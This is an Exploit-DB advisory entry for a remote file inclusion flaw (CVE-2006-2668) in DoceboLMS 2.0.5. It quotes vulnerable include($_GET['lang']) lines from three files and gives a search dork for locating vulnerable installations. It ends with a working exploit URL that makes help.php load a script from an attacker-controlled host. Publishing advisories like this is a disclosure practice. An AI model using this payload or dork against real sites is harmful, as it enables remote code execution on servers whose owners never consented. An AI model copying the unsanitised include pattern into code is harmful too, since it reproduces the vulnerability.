DoceboLms <= 2.0.5 help.php Remote File Include Vulnerability

2006-05-25T00:00:00
ID EDB-ID:1828
Type exploitdb
Reporter beford
Modified 2006-05-25T00:00:00

Description

DoceboLMS <= 2.0.5 (help.php) Remote File Include Vulnerability. CVE-2006-2668. Webapps exploit for php platform

                                        
                                            Vulnerable Script: Docebo LMS 2.05
Discovered: beford &lt;xbefordx gmail com&gt;

Noobs: %22Based+on+DoceboLMS+2.0%22

Vulnerable Files

doceboLMS205/modules/credits/business.php =&gt;
include($_GET['lang'].'/language.php');

doceboLMS205/modules/credits/credits.php =&gt;
include($_GET['lang'].'/language.php');

doceboLMS205/modules/credits/help.php =&gt; include($_GET['lang'].'/language.php');

http://www.oops.org/DOCEBO205/modules/credits/help.php?lang=http://&lt;evilh4x0rscript&gt;/?

# milw0rm.com [2006-05-25]